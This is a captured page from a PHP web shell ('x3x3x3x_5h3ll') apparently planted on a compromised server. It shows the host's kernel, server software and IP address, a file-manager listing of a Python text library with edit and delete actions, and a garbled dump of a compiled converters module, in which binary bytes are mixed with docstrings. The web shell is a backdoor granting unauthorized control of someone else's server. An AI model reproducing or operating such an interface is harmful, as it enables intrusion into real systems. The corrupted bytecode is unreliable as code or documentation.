x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib/python2.7/site-packages/kitchen/text/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__init__.py 0.404 KB -rw-r--r-- 2012-02-14 18:52 R E G D
__init__.pyc 0.651 KB -rw-r--r-- 2014-06-10 05:56 R E G D
__init__.pyo 0.651 KB -rw-r--r-- 2014-06-10 05:56 R E G D
converters.py 40.647 KB -rw-r--r-- 2012-02-14 18:52 R E G D
converters.pyc 36.482 KB -rw-r--r-- 2014-06-10 05:56 R E G D
converters.pyo 36.482 KB -rw-r--r-- 2014-06-10 05:56 R E G D
display.py 38.518 KB -rw-r--r-- 2012-02-14 18:52 R E G D
display.pyc 30.967 KB -rw-r--r-- 2014-06-10 05:56 R E G D
display.pyo 30.967 KB -rw-r--r-- 2014-06-10 05:56 R E G D
exceptions.py 1.239 KB -rw-r--r-- 2012-02-14 18:52 R E G D
exceptions.pyc 0.982 KB -rw-r--r-- 2014-06-10 05:56 R E G D
exceptions.pyo 0.982 KB -rw-r--r-- 2014-06-10 05:56 R E G D
misc.py 12.105 KB -rw-r--r-- 2012-02-14 18:52 R E G D
misc.pyc 10.373 KB -rw-r--r-- 2014-06-10 05:56 R E G D
misc.pyo 10.373 KB -rw-r--r-- 2014-06-10 05:56 R E G D
utf8.py 6.125 KB -rw-r--r-- 2012-02-14 18:52 R E G D
utf8.pyc 5.932 KB -rw-r--r-- 2014-06-10 05:56 R E G D
utf8.pyo 5.932 KB -rw-r--r-- 2014-06-10 05:56 R E G D
REQUEST EXIT
ó i­:Oc@sídZyddlmZmZWn'ek rIddlmZmZnXddlZddlZddlZ ddl Z ddl m Z e jƒddlmZmZddlmZmZmZedFƒZedGƒZdd ddd!„Zdd ddd"„Zd#„Zd d$d%„Zd&„Zd'„d(„fZd)„efZ ed*„Z!ed+„Z"de#d d,„Z$dd d-„Z%dd de#d d.„Z&dd dd/„Z'd0„Z(d1„Z)de#d d2„Z*de#d3d4„Z+dHZ,dS(Is! Functions to handle conversion of byte :class:`str` and :class:`unicode` strings. .. versionchanged:: kitchen 0.2a2 ; API kitchen.text 2.0.0 Added :func:`~kitchen.text.converters.getwriter` .. versionchanged:: kitchen 0.2.2 ; API kitchen.text 2.1.0 Added :func:`~kitchen.text.converters.exception_to_unicode`, :func:`~kitchen.text.converters.exception_to_bytes`, :data:`~kitchen.text.converters.EXCEPTION_CONVERTERS`, and :data:`~kitchen.text.converters.BYTE_EXCEPTION_CONVERTERS` .. versionchanged:: kitchen 1.0.1 ; API kitchen.text 2.1.1 Deprecated :data:`~kitchen.text.converters.BYTE_EXCEPTION_CONVERTERS` as we've simplified :func:`~kitchen.text.converters.exception_to_unicode` and :func:`~kitchen.text.converters.exception_to_bytes` to make it unnecessary iÿÿÿÿ(t b64encodet b64decodeN(tsets(tControlCharErrortXmlEncodeError(tguess_encodingthtml_entities_unescapetprocess_control_charssutf-8sUTF-8tutf8tUTF8tutf_8tUTF_8tutftUTFtu8tU8slatin-1sLATIN-1tlatin1tLATIN1tlatintLATINtl1tL1tcp819tCP819t8859s iso8859-1s ISO8859-1s iso-8859-1s ISO-8859-1treplacecCs+t|tƒrjt|tƒr"|S|tkr>t|d|ƒS|tkrZt|d|ƒS|j||ƒS|r¡tjtj dƒt ddƒ|s¡|}q¡n|s°d}n|dkrÀdS|d krÐ|S|dkrŒy|j ƒ}Wnt t fk r d}nX|siyt|ƒ}Wqit k rey|jƒ}Wqft t fk rad}qfXqiXnt|tƒsˆt|||ƒS|S|dkrt|ƒ}t|tƒsÈt|||ƒ}n|d krØ|Sttj d ƒi|j|d ƒd6ƒ‚nttj dƒi|d6ƒ‚dS(s} Convert an object into a :class:`unicode` string :arg obj: Object to convert to a :class:`unicode` string. This should normally be a byte :class:`str` :kwarg encoding: What encoding to try converting the byte :class:`str` as. Defaults to :term:`utf-8` :kwarg errors: If errors are found while decoding, perform this action. Defaults to ``replace`` which replaces the invalid bytes with a character that means the bytes were unable to be decoded. Other values are the same as the error handling schemes in the `codec base classes `_. For instance ``strict`` which raises an exception and ``ignore`` which simply omits the non-decodable characters. :kwarg nonstring: How to treat nonstring values. Possible values are: :simplerepr: Attempt to call the object's "simple representation" method and return that value. Python-2.3+ has two methods that try to return a simple representation: :meth:`object.__unicode__` and :meth:`object.__str__`. We first try to get a usable value from :meth:`object.__unicode__`. If that fails we try the same with :meth:`object.__str__`. :empty: Return an empty :class:`unicode` string :strict: Raise a :exc:`TypeError` :passthru: Return the object unchanged :repr: Attempt to return a :class:`unicode` string of the repr of the object Default is ``simplerepr`` :kwarg non_string: *Deprecated* Use :attr:`nonstring` instead :raises TypeError: if :attr:`nonstring` is ``strict`` and a non-:class:`basestring` object is passed in or if :attr:`nonstring` is set to an unknown value :raises UnicodeDecodeError: if :attr:`errors` is ``strict`` and :attr:`obj` is not decodable using the given encoding :returns: :class:`unicode` string or the original object depending on the value of :attr:`nonstring`. Usually this should be used on a byte :class:`str` but it can take both byte :class:`str` and :class:`unicode` strings intelligently. Nonstring objects are handled in different ways depending on the setting of the :attr:`nonstring` parameter. The default values of this function are set so as to always return a :class:`unicode` string and never raise an error when converting from a byte :class:`str` to a :class:`unicode` string. However, when you do not pass validly encoded text (or a nonstring object), you may end up with output that you don't expect. Be sure you understand the requirements of your data, not just ignore errors by passing it through this function. .. versionchanged:: 0.2.1a2 Deprecated :attr:`non_string` in favor of :attr:`nonstring` parameter and changed default value to ``simplerepr`` sutf-8slatin-1sLnon_string is a deprecated parameter of to_unicode(). Use nonstring insteadt stacklevelit simplereprtemptyutpassthrutreprtstrictsWto_unicode was given "%(obj)s" which is neither a byte string (str) or a unicode stringRtobjs8nonstring value, %(param)s, is not set to a valid actiontparamN(sreprsstrict(t isinstancet basestringtunicodet _UTF8_ALIASESt_LATIN1_ALIASEStdecodetwarningstwarntktb_tDeprecationWarningt __unicode__tAttributeErrort UnicodeErrortNonetstrt__str__Rt TypeErrortencode(R tencodingterrorst nonstringt non_stringtsimpletobj_repr((s;/usr/lib/python2.7/site-packages/kitchen/text/converters.pyt to_unicodeIs\9             cCst|tƒr2t|tƒr"|S|j||ƒS|ritjtjdƒtddƒ|si|}qin|sxd}n|dkrˆdS|dkr˜|S|dkrYyt|ƒ}WnAt k r÷y|j ƒ}Wqøt t fk ród}qøXnX|s1y|j ƒ}Wq1t t fk r-d}q1Xnt|tƒrU|j|dƒ}n|S|dkrøy|jƒ}Wnt t fk r”d}nXt|tƒr¹|j||ƒ}n t|ƒ}|d krÕ|Sttjd ƒi|d 6ƒ‚nttjd ƒi|d6ƒ‚dS(s˜ Convert an object into a byte :class:`str` :arg obj: Object to convert to a byte :class:`str`. This should normally be a :class:`unicode` string. :kwarg encoding: Encoding to use to convert the :class:`unicode` string into a byte :class:`str`. Defaults to :term:`utf-8`. :kwarg errors: If errors are found while encoding, perform this action. Defaults to ``replace`` which replaces the invalid bytes with a character that means the bytes were unable to be encoded. Other values are the same as the error handling schemes in the `codec base classes `_. For instance ``strict`` which raises an exception and ``ignore`` which simply omits the non-encodable characters. :kwarg nonstring: How to treat nonstring values. Possible values are: :simplerepr: Attempt to call the object's "simple representation" method and return that value. Python-2.3+ has two methods that try to return a simple representation: :meth:`object.__unicode__` and :meth:`object.__str__`. We first try to get a usable value from :meth:`object.__str__`. If that fails we try the same with :meth:`object.__unicode__`. :empty: Return an empty byte :class:`str` :strict: Raise a :exc:`TypeError` :passthru: Return the object unchanged :repr: Attempt to return a byte :class:`str` of the :func:`repr` of the object Default is ``simplerepr``. :kwarg non_string: *Deprecated* Use :attr:`nonstring` instead. :raises TypeError: if :attr:`nonstring` is ``strict`` and a non-:class:`basestring` object is passed in or if :attr:`nonstring` is set to an unknown value. :raises UnicodeEncodeError: if :attr:`errors` is ``strict`` and all of the bytes of :attr:`obj` are unable to be encoded using :attr:`encoding`. :returns: byte :class:`str` or the original object depending on the value of :attr:`nonstring`. .. warning:: If you pass a byte :class:`str` into this function the byte :class:`str` is returned unmodified. It is **not** re-encoded with the specified :attr:`encoding`. The easiest way to achieve that is:: to_bytes(to_unicode(text), encoding='utf-8') The initial :func:`to_unicode` call will ensure text is a :class:`unicode` string. Then, :func:`to_bytes` will turn that into a byte :class:`str` with the specified encoding. Usually, this should be used on a :class:`unicode` string but it can take either a byte :class:`str` or a :class:`unicode` string intelligently. Nonstring objects are handled in different ways depending on the setting of the :attr:`nonstring` parameter. The default values of this function are set so as to always return a byte :class:`str` and never raise an error when converting from unicode to bytes. However, when you do not pass an encoding that can validly encode the object (or a non-string object), you may end up with output that you don't expect. Be sure you understand the requirements of your dat